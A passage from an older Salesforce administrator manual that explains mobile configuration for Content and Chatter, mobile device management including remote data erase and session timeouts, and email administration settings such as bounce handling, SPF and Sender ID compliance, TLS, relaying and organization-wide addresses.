the Content tab, which is automatically synchronized to their device based on the filters in their assigned mobile
configuration.
• Users can't view a list of their subscribed content in the mobile application. They also can't filter the list of records on the
Content tab based on a particular workspace.
• While users can preview and share content from the mobile application, they can't update the file associated with a content
record. If they have the required permissions, they can edit the fields on the content detail page.
• Users must be in wireless coverage to preview and deliver content. Without a wireless connection, they can only view the
content detail page.
• Content is only supported by the BlackBerry and iPhone mobile client applications.
• Content is not available in Mobile Lite, which is the free version of the mobile application.
• You can't block mobile permissions for the content object. Currently, the content object in the mobile application is
read-only.
• You can't edit the mobile page layout for the content object. The content detail page in the mobile application is hard-coded
to display only a few fields.
To set up Content for the mobile application:

1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and then click the name of a mobile configuration.
2. In the Data Sets related list, click Edit.
3. Click Add....
4. In the popup window, select Content, then click OK.
5. Use field filters to specify which content records are synchronized.
Because users can't search for content in the mobile application, it's essential to set up filters that make important content
available on the device. You can't create filters based on workspaces or subscriptions, but here are a few options for setting
up useful filter conditions:

• Date: Filter on the Last Modified Date, Content Modified Date, or Created Date fields. Use special date
values like LAST 90 DAYS or LAST 180 DAYS to ensure that recently updated content records are synchronized.
• Owner: Filter on the author if certain people in your organization are responsible for publishing content.
• File Type: Filter on certain types of documents. For example, your sales team might generally be interested in
presentations or PDF documents.
• Custom Fields: If you created custom content fields that help you categorize your content, filter on the custom fields.
For example, if you built a Functional Use field with picklist values, you could set up a filter condition where
Functional Use equals Sales.

6. Optionally prevent content records from consuming all the memory on a mobile device by selecting the second radio button
under Set Max Record Limit and entering the maximum number of content records this configuration can transfer to
mobile devices. Use the Order By and Sort drop-down lists to specify which records are synchronized if the data size limit
is exceeded.
7. Click Done when you're finished.
8. Optionally modify other mobile configurations and mobilize the content object.

Overview of Salesforce Chatter for Mobile


Available in: All Editions

763
Salesforce Mobile Overview of Salesforce Chatter for Mobile

Note: Chatter Mobile is currently available through a pilot program. For information on enabling Chatter Mobile
for your organization, contact salesforce.com.

Salesforce Chatter is a collaboration application that helps you connect with your coworkers and share business information
securely and in real time.
If you're away from your desk, use Chatter in the mobile application on your BlackBerry or iPhone to stay connected with
coworkers. An administrator must enable Chatter for Salesforce Mobile users; Chatter doesn't require setup for Mobile Lite
users.
Salesforce Chatter in the mobile application consists of the Chatter, Profile, and People tabs. The feed that displays on the
online application's Home tab appears on the mobile application's Chatter tab.
Not all of the functionality in Chatter is available from your mobile device. In the mobile application, you can:

• View and refresh Chatter feeds


• View coworkers' profiles
• Update your status
• View and edit your profile
• Post updates
• Follow and unfollow people and records

In the mobile application, you can't:

• Upload profile photos


• View Following or Followers lists
• Attach files to posts
• View files attached to posts
• Attach links to posts (although you can type a URL in the body of a post)
• Refresh feeds while working offline

See Also:
Setting Up Salesforce Chatter for Mobile
Salesforce Chatter Overview
Salesforce Mobile Overview
Mobile Lite Overview
Supported Devices for Mobile
Installing the Mobile Application
Managing Mobile Configurations

764
Salesforce Mobile Setting Up Salesforce Chatter for Mobile

Setting Up Salesforce Chatter for Mobile


Available in: All Editions

User Permissions Needed


To view mobile configurations: “View Setup and Configuration”
To create, change, or delete mobile configurations: “Manage Mobile Configurations”

Note: Chatter Mobile is currently available through a pilot program. For information on enabling Chatter Mobile
for your organization, contact salesforce.com.

Salesforce Chatter is a collaboration application that lets you connect with your coworkers and share business information
securely and in real time. When you're away from your desk, you can use Chatter from your mobile device.
Chatter is automatically available in Mobile Lite. You can enable Mobile Lite for your organization by editing your mobile
settings. The mobile settings also let you control whether Mobile Lite users have access to all available CRM tabs, or just to
dashboards and Chatter.
Mobilizing feeds in your organization's mobile configurations enables Chatter in Salesforce Mobile. To enable Chatter for
Salesforce Mobile:

1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and then click the name of a mobile configuration.
2. In the Data Sets related list, click Edit.
3. Click Add....
4. In the popup window, select News Feed, then click OK.
5. Enter the maximum number of updates across all feeds that this configuration can transfer to mobile devices:

a. The value defaults to 100, but you can enter any number up to 100.
b. Use the Order By drop-down list to specify which records are synchronized. You can order by the Last Feed
Activity Date or Created Date fields. Updates are sorted chronologically in descending order; you can't change
the sort order.
If the limit is reached, Salesforce.com synchronizes the updates in accordance with the Order By and Sort settings. For
example, if the settings are Created Date and Descending, Salesforce.com transfers the most recently created updates
to mobile devices and removes the same number of updates that were least recently created.

6. Click Done when you're finished.


7. Optionally modify other mobile configurations and mobilize Chatter feeds.

765
Salesforce Mobile Creating Mobile Links

8. Optionally reorder the tabs in the mobile application. If you add Chatter feeds to a mobile configuration, you can't remove
any Chatter tabs from that configuration, but you can change the tab order.

See Also:
Overview of Salesforce Chatter for Mobile
Salesforce Chatter Overview
Salesforce Mobile Overview
Mobile Lite Overview
Customizing Mobile Settings
Defining Data Sets
Managing Mobile Tabs

Creating Mobile Links


To improve the integration between the mobile client application, Visualforce Mobile, and external websites, you can optionally
create links from native Salesforce.com records to Visualforce Mobile pages or external websites. To create the links, build
text formula fields on a standard or custom object. The field must be visible on the page layout to appear in the mobile
application. The best practice is to include all embedded links in a separate section labeled “Mobile Links” at the bottom of
the page layout. There is currently no way to hide these links on the Salesforce.com website, but users can collapse the section
to keep the links out of the way.
To create a link from a native record to a Visualforce Mobile page or Web page:

1. Create a custom field by navigating to the fields area of the appropriate object:

• For standard objects, click Setup ➤ Customize, then select the appropriate object from the Customize menu, and
click Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.

2. Click New in the Custom Fields & Relationships section of the page.
3. Select Formula, then click Next.
4. Enter the field label.
The field name is automatically populated based on the field label you enter.
5. Select Text, then click Next.
6. In the formula editor, create the link to the custom Visualforce page or external website:

• To create a Visualforce link, type "visualforce:///apex/PageName", and replace PageName with the name
of your Visualforce page. You can append parameters to the string, such as ?contactid=" & Id", in order to pass
information from the record in the client application to the Visualforce page.
• To create a Web link, type "weblink:", followed by the URL to which you want the link to point, such as
"weblink:http://www.salesforce.com". You can append parameters to the string in order to pass information
from the record in the client application to the Web page. For example, the following Web link launches a social
networking site from a contact record and performs a search for the contact:

"weblink:http://m.linkedin.com/members?search_term=" &FirstName& "+" &LastName&


"&filter=name&commit=Search"

766
Salesforce Mobile Sending Emails to Mobile Users

Note: The client application passes the Visualforce or Web link with all parameters to the embedded browser.
It is up to the website or Visualforce Mobile page to interpret any parameters. Be sure to construct your
Visualforce Mobile page to consume any parameters passed in the link.

7. Click Next.
8. Set the field-level security to determine whether the field should be visible or read only for specific profiles, and click Next.
9. Choose the page layouts that should display the field. In the next step, you will customize the layout to change the location
of the field on the page.
10. Click Save.
11. Edit the object's page layout:

• For standard object page layouts, select Setup ➤ Customize, select the object, and choose the Page Layouts link. Click
Edit next to the name of the page layout you want to modify.
• For custom object page layouts, select Setup ➤ Create, select the object, and scroll to the Page Layouts section. Click
Edit next to the name of the page layout you want to modify.

12. Drag a Section element from the palette to the page layout and drop it below the existing sections.
13. In the Section Name field, type Mobile Links.
14. Deselect the Edit Page option.
15. Select the 1-column layout, then click OK.
16. Drag the new text formula field from its current location into the new Mobile Links section.
17. Click Save.

See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Managing Mobile Tabs
Visualforce Overview

Sending Emails to Mobile Users


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

When you're ready to deploy the mobile application to your users, send them an email to notify them about the availability of
the application and provide installation instructions. You can send the email using your corporate email application, like
Outlook, or you can send mass email from Salesforce.com. Either way, include the URL that launches the download:

• For BlackBerry and Windows mobile users, the download URL is mobile.salesforce.com. The link is the same for
the initial download and for subsequent upgrades.
• You can obtain the iPhone download URL from iTunes. Open iTunes, click iTunes Store, then search for Salesforce
Mobile. Click the application icon to view details about the app. At the top of the iTunes window is a bread crumb path

767
Salesforce Mobile Managing Mobile Devices

representing the application's location in the App Store: App Store ➤ Business ➤ Salesforce Mobile. Drag-and-drop
the path into a text editor or word processing program to display the download URL for the application.

To send mass email to mobile users from Salesforce.com:

1. Create an email template informing users about the initial installation. Optionally, create a separate email template for
upgrade notifications. Include the download link in the templates.
2. Create a custom view on the Mass Email page showing only mobile users.
Note: The Mobile User checkbox indicates that users have a mobile license, and a mobile license enables them
to use Salesforce Mobile, which is the full version of the mobile application. Mobile Lite users do not need a mobile
license to use the mobile application, so you must use different filter criteria to create a view for Mobile Lite users.
Try filtering based on roles or profiles instead.

3. Send mass email to your mobile users using the custom view that you created.

Managing Mobile Devices


Available in: All Editions

User Permissions Needed


To view mobile devices and users: “View Setup and Configuration”
To manage mobile devices: “Manage Mobile Configurations”

After a user installs the mobile application on their wireless device and logs in for the first time, Salesforce.com collects the
device information and associates the device with the user's record. The device information is read only. While the device
entry is created automatically, you can still view and manage all the mobile users and devices in your organization by clicking
Setup ➤ Mobile Administration ➤ Mobile Users and Devices.
From the All Mobile Users and Devices page:

• You can view the list of users in your organization who have been enabled to use Salesforce Mobile.
• You can create custom list views to see different subsets of your mobile users (see Creating Custom List Views on page
219). For example, create a view that shows the mobile users who have never logged in to Salesforce.com from their devices
to evaluate your organization's mobile deployment efforts.
• To view details about a mobile device, click the device address. See Viewing Mobile Device Information on page 769.
• To view details about a specific user, click the username.
• To view details about a mobile configuration, click the mobile configuration name.
• The buttons on the All Mobile Users and Devices page let you perform actions on multiple mobile users at one time. You
can:

- Adjust the mobile session timeout value


- Erase the Salesforce.com data from a user's device
- Delete a device from a user's record

768
Salesforce Mobile Managing Mobile Devices

• To find out why a user's device is not synchronizing, hover your mouse over the red error icon in the Status column.
Additional information about the synchronization errors appears on the device's detail page. See Viewing Mobile Device
Information on page 769.

Note: You can also manage mobile users from the Assigned Mobile Devices related list on the user detail page.

See Also:
Supported Devices for Mobile
Sending Emails to Mobile Users
Salesforce Mobile Overview
Managing Mobile Configurations

Viewing Mobile Device Information


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

Salesforce.com collects information about a mobile user's device the first time the user logs in to the mobile application. There
are two ways to access the device details:

• Click Setup ➤ Mobile Administration ➤ Mobile Users and Devices, and then click a device address in the list view.
• Click Setup ➤ Manage Users ➤ Users. Click Edit next to a user's name, and then click the device address in the Assigned
Mobile Devices related list.

From the Mobile Device page, you can:

• Review device information


• Adjust the mobile session timeout value
• Erase the Salesforce.com data from a user's device
• Delete a device from a user's record

Below is a description of the fields in alphabetical order that are stored for each mobile device in your organization.

Field Description
Brand The brand of the mobile device, if available.
Carrier The name of the carrier providing service for the mobile device,
if available.
Connected Since The date and time the device established a connection to the
mobile server. The device loses a connection when the battery
dies or when the session is closed because the server has not
received data from the device for a long period of time.

769
Salesforce Mobile Managing Mobile Devices

Field Description
Connection Status The state of the device connection. Possible values for this
field are Connected, Not Connected, and Not Available.
Created By The name of the first user who registered the mobile device
and the time and date the registration occurred.
Data Size The size of the Salesforce.com data currently stored on the
user's mobile device. The mobile device periodically sends this
information to Salesforce.com, which is helpful when
troubleshooting synchronization errors resulting from an
exceeded data limit.
Device Address The unique PIN of the user's mobile device.
Device Model The model of the mobile device.
Is Simulator? A flag indicating whether the device is a simulator or a mobile
device. A simulator is a software application that emulates the
behavior of a mobile device.
Last Activated The last time a full data set was downloaded to the mobile
device. If a user's data set exceeds the limit defined in the
assigned mobile configuration, the device can be registered
but not activated.
Last Data Received The last time data was received from the device. This
information is helpful for troubleshooting connection issues.
Last Registration The last time a user registered the mobile device. The
registration process creates the device record in Salesforce.com
and associates it with the user who registered it.
Last Status Date The last time the mobile device notified Salesforce.com that
the device is no longer synchronizing data due to an error.
The Last Status Date field is only visible when an error
is present.
Manufacturer The manufacturer of the mobile device.
Metadata Size The size of the Salesforce.com metadata currently stored on
the user's mobile device. Metadata consists of page layout and
schema information, and the amount of metadata sent to a
device can be very high depending on the size of your
organization and the complexity of its setup.
Modified By The name of the last user who registered the mobile device
and the time and date the registration occurred.
Number of Pending Outgoing Messages The number of messages queued on the mobile server waiting
to be sent to the device.
Operating System The type of operating system installed on the mobile device:
BlackBerry, iPhone, or Windows Mobile.

770
Salesforce Mobile Managing Mobile Devices

Field Description
Operating System Version The version number of the operating system installed on the
mobile device.
Phone Number The phone number associated with the mobile device.
Salesforce Mobile Version The version number and build number of the mobile client
application installed on the device.
Size of Pending Outgoing Messages (Bytes) The total data size of the messages queued on the device
waiting to be sent to the mobile server. Because the server
processes messages almost instantaneously, this value is usually
0.
Size of Outgoing Messages (Bytes) The total data size of the outbound message queue on the
mobile server.
Status Indicates whether any synchronization errors exist between
the device and Salesforce.com. The Status field is only visible
when an error is present. The two error statuses are Data Limit
Exceeded and Unknown Error.
Username The Salesforce.com username of the user who is associated
with the mobile device.

Note: If Salesforce.com detects the selected device was registered by a user in another organization, an error displays
on the device detail page. This can happen when a device was registered to a user in your sandbox organization and
then later activated by a user in your production organization. To remove the old device record from your organization,
simply delete the device.

Setting Mobile Session Timeout Values


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To set mobile session timeout values: “Manage Mobile Configurations”

For security reasons, the mobile client application is set to lock out users after ten minutes of inactivity. Administrators can
adjust or disable this setting on a device-by-device basis. You might disable the timeout setting if the mobile device's operating
system has its own locking mechanism.
To change the mobile session timeout value:

1. Navigate to the Mobile Devices and Users page or the Mobile Device page:

771
Salesforce Mobile Managing Mobile Devices

• Click Setup ➤ Mobile Administration ➤ Mobile Users and Devices. From the list view, you can select multiple
devices at one time.
OR
• Click Setup ➤ Manage Users ➤ Users. Click Edit next to a user's name, and then click the device address in the
Assigned Mobile Devices related list.

2. Click Set Mobile Session Timeout.


3. Choose the new timeout value in minutes. You also have the option to choose Never Expire if users should not be locked
out of the mobile application.
4. Click Save.
Salesforce.com attempts to send a message containing the new session timeout setting to the selected mobile devices.
5. A confirmation page summarizes the results for each mobile device you selected.

Mobile Session Timeout Results


After Salesforce.com sends the new session timeout session to the selected mobile devices, a results page provides information
about the status of each message. The table below describes the three possible outcomes:

Result Description
Message successfully queued The mobile server has sent the message to the device.
Salesforce.com cannot detect if the message was received by
the device.
Unable to send message A temporary communication problem between Salesforce.com
and the mobile server prevented the message from being sent.
Try again later.
User has no mobile device The selected mobile user never registered a device, so therefore
the message could not be sent.

See Also:
Managing Mobile Devices
Viewing Mobile Device Information
Erasing Mobile Data
Deleting Mobile Devices
Salesforce Mobile Overview

772
Salesforce Mobile Managing Mobile Devices

Erasing Mobile Data


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To delete the mobile data on a device: “Manage Mobile Configurations”

A mobile device activated by a Salesforce.com user contains both the mobile client application and a set of the user's
Salesforce.com data. An administrator can remove the data from a device without uninstalling the mobile application. This
is an effective security tool when a user misplaces his or her device. You also must erase a device's data if you plan to give it to
another user.
To erase the Salesforce.com data on one or more mobile devices:

1. Navigate to the Mobile Devices and Users page or the Mobile Device page:

• Click Setup ➤ Mobile Administration ➤ Mobile Users and Devices. From the list view, you can select multiple
devices at one time.
• Click Setup ➤ Manage Users ➤ Users. Click Edit next to a user's name, and then click the device address in the
Assigned Mobile Devices related list.

2. Click Erase Data, and then click OK.


Salesforce.com attempts to send a message to the mobile devices to erase the data.

Erase Data Results


After Salesforce.com sends the message to the mobile devices to erase data, a results page provides information about the
status of each message. The table below describes the three possible outcomes:

Result Description
Message successfully queued The mobile server has sent the message to the device.
Salesforce.com cannot detect if the message was received by
the device.
Unable to send message A temporary communication problem between Salesforce.com
and the mobile server prevented the message from being sent.
Try again later.

773
Salesforce Mobile Managing Mobile Devices

Result Description
User has no mobile device The selected mobile user never registered a device, so therefore
the message could not be sent.

See Also:
Managing Mobile Devices
Viewing Mobile Device Information
Setting Mobile Session Timeout Values
Deleting Mobile Devices

Deleting Mobile Devices


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile devices and users: “View Setup and Configuration”
To delete mobile devices: “Manage Mobile Configurations”

There are two instances when you would delete a mobile device from a user's record:

• Your organization's mobile settings permanently link mobile users to their devices, and you need to assign a device to a
different user. If you did not enable this setting, Salesforce.com automatically associates a device record with the mobile
user who most recently activated the device, so it is unnecessary to delete a device to assign it to another user.
• You want to move a device from your sandbox organization to your production organization.

To delete a mobile device:

1. Navigate to the Mobile Devices and Users page or the Mobile Device page:

• Click Setup ➤ Mobile Administration ➤ Mobile Users and Devices. From the list view, you can select multiple
devices at one time.
OR
• Click Setup ➤ Manage Users ➤ Users. Click Edit next to a user's name, and then click the device address in the
Assigned Mobile Devices related list.

2. On the Mobile Devices and Users page, select one or more devices, then click Delete Device. On the Mobile Device page,
click Delete.
3. Click OK.
Salesforce.com attempts to delete the selected device(s).

774
Salesforce Mobile Customizing Mobile Settings

4. A confirmation page summarizes the results for each mobile device you selected.

Delete Device Results


After Salesforce.com sends the message to the mobile server to delete the devices, a results page provides information about
the status of each device. The table below describes the three possible outcomes:

Result Description
Device deleted. Salesforce.com removed the device record from your
organization.
Device cannot be deleted at this time. Please try again later. A temporary communication problem between Salesforce.com
and the mobile server prevented the device from being deleted.
Try again later.
User has no mobile device. The selected mobile user never registered a device, so therefore
the message could not be sent.

See Also:
Erasing Mobile Data
Force.com Sandbox

Customizing Mobile Settings


Available in: All Editions

User Permissions Needed


To view mobile settings: “View Setup and Configuration”
To change mobile settings: “Manage Mobile Configurations”

To customize mobile settings for your organization:

1. Click Setup ➤ Mobile Administration ➤ Mobile Settings.


2. Click Edit.
3. Select Enable Mobile Lite to allow users without a mobile license to install and run Mobile Lite, the free, restricted
version of Salesforce Mobile.
Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable Mobile Lite to prevent
users from accessing Salesforce.com from a mobile device.
Note: If you deselect this option and users are running Mobile Lite, the Salesforce.com data on their devices will
be erased the next time the devices synchronize with Salesforce.com.

775
Email Administration Configuring Deliverability Settings

4. If you enabled Mobile Lite, optionally select Enable Limited Configuration to restrict the features available in
Mobile Lite to dashboards and Chatter. If you select this option, Mobile Lite users only have access to the Chatter, Profile,
People, and Dashboards tabs.
Starting with Summer '10, the Enable Limited Configuration is enabled by default in all new organizations. To
provide Mobile Lite users with all the available CRM tabs, deselect the option.
5. Select Permanently Link User to Mobile Device to prevent mobile users from registering any mobile device
other than the one they used for their initial Salesforce Mobile account activation.
By default, Salesforce.com automatically associates a device record with the mobile user who most recently activated the
device, so administrators do not need to update the device record to assign the device to another user. While this behavior
makes it easy to switch devices between users in your organization, some administrators prefer that users are permanently
linked to the devices they were originally assigned. This helps administrators of organizations with highly sensitive data
ensure that their users do not access corporate data from personal devices.
Caution: Enabling the Permanently Link User to Mobile Device setting requires administrative action
when users need to switch devices. You must manually delete the existing device from a user's record in order for
the user to register a different device. If you do not delete the device, the user will be unable to access Salesforce
Mobile.

6. Click Save.

See Also:
Salesforce Mobile Overview
Mobile Lite Overview
Overview of Salesforce Chatter for Mobile
Managing Mobile Configurations
Managing Mobile Devices

EMAIL ADMINISTRATION

Configuring Deliverability Settings


Available in: All Editions

User Permissions Needed


To configure email deliverability: “Customize Application”

To improve the deliverability of email you send from Salesforce.com, configure your organization's email deliverability settings.
Email deliverability is the likelihood of a company’s or individual’s email to reach its intended recipient. This likelihood is
adversely affected by:

776
Email Administration Configuring Deliverability Settings

Bounced email

Email that is addressed to an invalid recipient and returned to the sender. If a sender sends several email messages that
bounce, the email server might slow or block the delivery of all email from that sender.

Noncompliant email
Email that does not comply with a recipient's email security framework, such as the Sender Policy Framework (SPF),
which verifies that the From address in an email message is not forged.

Caution: If you plan to activate both bounce management and email relaying, check with your email administrator
to ensure that your organization's email server allows the relaying of email sent from salesforce.com; otherwise, the
email you send from Salesforce.com may not get delivered. For information on email relaying, see Setting Up Email
Relaying on page 780.

To configure the email deliverability settings for your organization:

1. Click Setup ➤ Email Administration ➤ Deliverability.


2. Select the Activate bounce management checkbox to help ensure that the email addresses you have for your contacts,
leads, and person accounts are correct, and that the email your users send to those addresses is not impeded due to excessive
email bounces.
When bounce management is activated and a user sends an email to a contact, lead, or person account with an invalid
email address, Salesforce.com displays an alert next to that email address, and prevents users from sending email to that
address until the address is updated or confirmed. Also, the email bounces to Salesforce.com instead of the sender's personal
email account.
Tip: Use the Bounced Contacts and Bounced Leads standard reports to view a list of email addresses that have
bounced email. The report includes the reason the email was bounced, the date the bounce occurred, and the
contact, lead, or person account that bounced the email. See Reports Overview on page 2087 for more information.

3. Select the Show bounce alert next to all instances of the email address checkbox to configure
Salesforce.com to search all lead, contact, and person account records for instances of any email address that bounces an
email, and to display a bounce alert next to each instance. If you do not select this option, Salesforce.com only displays the
bounce alert on the record from which the email was originally sent.
4. Select the Return bounced email to sender checkbox to configure Salesforce.com to send a copy of the bounced
email header to the sender. If you do not select this option, only Salesforce.com receives the bounced email header. In
either case, Salesforce.com does not return the body of the bounced email to the sender for security purposes.
This option applies to all users in your organization and cannot be enabled per user or per email.
5. Select the Enable compliance with standard email security mechanisms checkbox to automatically modify
the envelope From address of every email you send from Salesforce.com to comply with email security frameworks that
your recipients might implement, such as SPF.
Many recipient email systems enforce SPF to verify if an email is legitimate. SPF checks the envelope From address of an
inbound email to verify if the email is legitimate. If this feature is enabled, Salesforce.com modifies the envelope From
address to a salesforce.com email address to verify the legitimacy of the sender. The header From address remains set to
the sender's email address.
Note: For more information on SPF, see www.openspf.org.

777
Email Administration Configuring Deliverability Settings

6. Select the Enable Sender ID compliance checkbox to comply with the Sender ID framework. This will automatically
populate the Sender field in the envelope of every email you send from Salesforce.com with no-reply@salesforce.com.
This enables receiving mail servers using the Sender ID email authentication protocol to verify the sender of an email by
examining the Sender and From headers of an inbound email through a DNS lookup. All replies will still be delivered
to the sender's email address. If you do not select this checkbox, the Sender field is set to null and email delivery fails
when a recipient email system performs a Sender ID check.
Note:

• Salesforce.com strongly recommends enabling Sender ID compliance. This is enabled by default.


• If you enable Sender ID compliance, the recipient's email client may append the phrase “Sent on behalf of ” to
the From field of email received from Salesforce.com.
• For more information on Sender ID, see www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx.

7. If you want Salesforce.com to send users a status email when their mass emails are complete, select Notify sender
when mass email completes.
8. To specify how Salesforce.com uses the Transport Layer Security (TLS) protocol for secure email communication for
SMTP sessions, choose one of the following:

• Preferred (default): If the remote server offers TLS, Salesforce.com upgrades the current SMTP session to use TLS.
If TLS is unavailable, Salesforce.com continues the session without TLS.
• Required: Salesforce.com continues the session only if the remote server offers TLS. If TLS is unavailable,
Salesforce.com terminates the session without delivering the email.
• Preferred Verify: If the remote server offers TLS, Salesforce.com upgrades the current SMTP session to use
TLS. Before the session initiates, Salesforce.com verifies the certificate is signed by a valid certificate authority, and
that the common name presented in the certificate matches the domain or mail exchange of the current connection. If
TLS is available but the certificate is not signed or the common name does not match, Salesforce.com disconnects the
session and does not deliver the email. If TLS is unavailable, Salesforce.com continues the session without TLS.
• Required Verify: Salesforce.com continues the session only if the remote server offers TLS, the certificate is signed
by a valid certificate authority, and the common name presented in the certificate matches the domain or mail exchange
to which Salesforce.com is connected. If any of these criteria are not met, Salesforce.com terminates the session without
delivering the email.

Note: If you select a setting other than Preferred (the default setting), select Restrict TLS to these
domains and specify a comma-separated domain list. The asterisk (*) wildcard is allowed; for example,
*.subdomains.com matches john@aco.subdomains.com and john@bco.subdomains.com (but not
john@subdomains.com). If you don't specify domains, Salesforce.com uses the TLS setting you specify for all
outbound emails, which may result in emails not being delivered.

9. Click Save.

See Also:
Sending Email
Enabling Compliance BCC Emails
Setting Up Email Relaying
Testing Deliverability

778
Email Administration Enabling Compliance BCC Emails

Enabling Compliance BCC Emails


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable or disable compliance BCC email: “Customize Application”

If your organization evaluates all outbound email messages for compliance, you can enable compliance BCC emails to
automatically send a hidden copy of each outbound email message to an email address you specify. Enabling compliance BCC
emails prevents users from editing the BCC field on any email and disables their Automatic Bcc setting under My Email
Settings.
To enable compliance BCC emails for your organization:

1. Click Setup ➤ Email Administration ➤ Compliance BCC Email.


2. Select the Enable checkbox.
3. Enter your compliance email address.
4. Click Save.

Note: The BCC email is automatically sent to the address you specify for any emails your users send, excluding system
emails such as password reset or import completion notifications.

See Also:
Configuring Deliverability Settings
Setting Up Email Relaying
Testing Deliverability

Testing Deliverability
Available in: All Editions

User Permissions Needed


To test email deliverability: “Modify All Data”

Salesforce.com sends email from 34 different IP addresses. If your organization blocks any of these IP addresses, users might
not receive all email sent from Salesforce.com.
To verify your organization can receive email from every Salesforce.com IP address:

1. Click Setup ➤ Administration Setup ➤ Email Administration ➤ Test Deliverability.

779
Email Administration Setting Up Email Relaying

2. Enter your business email address.


3. Click Send. Salesforce.com simultaneously sends a test message from all 34 IP addresses to your business email address.
Each test message specifies the IP address from which it was sent.
4. Check your business email account to make sure it received all 34 test messages.

If you received less than 34 test messages, your organization's email administrator must whitelist the Salesforce.com IP ranges
on your organization's email server. Whitelisting an IP address allows the email server to receive email from an IP address
that might otherwise be blocked. The Salesforce.com IP ranges are:

• 202.129.242.64 to 202.129.242.65
• 204.14.232.64 to 204.14.232.79
• 204.14.234.64 to 204.14.234.79

Note: If your organization activates email relaying, your email administrator only needs to whitelist the IP addresses
Salesforce.com uses for email relaying (202.129.242.65, 204.14.232.65, and 204.14.234.65). For information on email
relaying, see Setting Up Email Relaying on page 780.

See Also:
Configuring Deliverability Settings
Enabling Compliance BCC Emails

Setting Up Email Relaying


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure email relaying: “Modify All Data”

Email relaying is using an email server to send email that did not originate on the email server. Companies set up email relaying
to:

• Route all email through their own email servers to avoid the appearance of email spoofing by Salesforce.com. Email spoofing
is the forging of email headers to make messages appear as if they came from someone other than the original sender.
• Store copies of all email as required by government regulations in various industries.
• Apply existing content filters that scan messages for data and content that is not approved to be sent out through company
email.
• Run outbound email through antivirus software before sending it to customers.
• Append data such as company-wide disclaimers at the bottom of email messages.

You can set up email relaying for Salesforce.com-generated email by configuring Salesforce.com to automatically route email
through your company's Simple Mail Transfer Protocol (SMTP) server. Contact salesforce.com to enable email relaying for
your organization.

780
Email Administration Setting Up Email Relaying

Caution: If you plan to activate both bounce management and email relaying, check with your email administrator
to ensure that your organization's email server allows the relaying of email sent from salesforce.com; otherwise, the
email you send from Salesforce.com may not get delivered. For more information on bounce management, see
Configuring Deliverability Settings on page 776.

To set up email relaying:

1. Click Setup ➤ Email Administration ➤ Email Relay Activation.


2. Configure the following settings:

Setting Description
Email Host The host name or IP address of your company's SMTP
server. Obtain this information from your email
administrator.
Important: If you plan to use Transport Layer
Security (TLS) with this connection, enter the host
name instead of the IP address. TLS requires the
host name for verifying certificates.

For host names, use the following format:

<mail server>.<domain>.<domain extension>

For example:

mail.acme.com

Port The port number of your company's SMTP server. Obtain


this information from your email administrator.
TLS Setting Specifies whether Salesforce.com uses TLS for SMTP
sessions. Select one of the following options:
• Preferred (default): If the remote server offers TLS,
Salesforce.com upgrades the current SMTP session to
use TLS. If TLS is unavailable, Salesforce.com continues
the session without TLS.
• Required: Salesforce.com continues the session only if
the remote server offers TLS. If TLS is unavailable,
Salesforce.com terminates the session without delivering
the email.
• Preferred Verify: If the remote server offers TLS,
Salesforce.com upgrades the current SMTP session to
use TLS. Before the session initiates, Salesforce.com
verifies the certificate is signed by a valid certificate
authority, and that the common name presented in the
certificate matches the domain or mail exchange of the
current connection. If TLS is available but the certificate
is not signed or the common name does not match,

781
Email Administration Setting Up Email Relaying

Setting Description
Salesforce.com disconnects the session and does not
deliver the email. If TLS is unavailable, Salesforce.com
continues the session without TLS.
• Required Verify: Salesforce.com continues the
session only if the remote server offers TLS, the
certificate is signed by a valid certificate authority, and
the common name presented in the certificate matches
the domain or mail exchange to which Salesforce.com
is connected. If any of these criteria are not met,
Salesforce.com terminates the session without delivering
the email.

Restrict Relay to Domains Specifies whether to restrict the email relaying functionality
to certain domains. If you select this option, enter the names
of those domains separated by commas in the text field
below. (The asterisk (*) wildcard is allowed; for example,
*.subdomains.com matches john@aco.subdomains.com
and john@bco.subdomains.com (but not
john@subdomains.com)). This causes Salesforce.com to
route email to your company's SMTP server only if the email
is addressed to one of the listed domains. If you select the
checkbox but do not list any domains, Salesforce.com routes
all email to your company's SMTP server.
Active Enables email relaying for your organization. If you deselect
this checkbox, Salesforce.com keeps the email relay
configuration but does not route email to your company's
email server.

3. Click Save.

Salesforce.com recommends sending a test message each time you change the email relay configuration.

See Also:
Configuring Deliverability Settings
Enabling Compliance BCC Emails
Testing Deliverability

782
Email Administration Organization-Wide Addresses

Organization-Wide Addresses
Available in: All Editions

User Permissions Needed


To configure organization-wide addresses: “Modify All Data”

If your organization requires users to share a common email alias, you can define a list of organization-wide addresses for each
user profile. Organization-wide addresses define a common email address that a user profile can use. When sending email
from Salesforce.com, users with these profiles can choose a different From address than the email address they have defined.
Replies are delivered to the organization-wide address.
For example, assume your organization has several users under a single Support Profile. A Support Profile can be associated
with an email address called support@acme.com and a Display Name of Acme Support. When Support Profile users
send an outbound email through Salesforce.com, they can choose to have their From address appear as support@acme.com
instead of their own Salesforce.com email address.
The highlighted sections in the following image represents the changes to the From address and Display Name that the
recipient of an email might see:

After an organization-wide address is verified, it is available as a From address when sending an email or an email alert.
To display the list of defined organization-wide addresses, click Setup ➤ Email Administration ➤ Organization-Wide
Addresses. From this page you can:

• Click Add to create a new organization-wide address.


• Click Edit to change any of the fields associated with the alias:

- Display Name is the word or phrase users who receive your email will see as the sender of the email.
- Email Address is the email address that is used when sending an outbound email.
- Allowed Profiles lists the profiles which use the email address as an alias.
- Status shows the current stage of verification. When you add a new organization-wide address, it must be verified
as a valid email address before becoming available for use. If you have not received your verification email, click Resend
to have another one sent.

• Click Del to remove the alias.

783
Email Administration Defining Organization-Wide Addresses

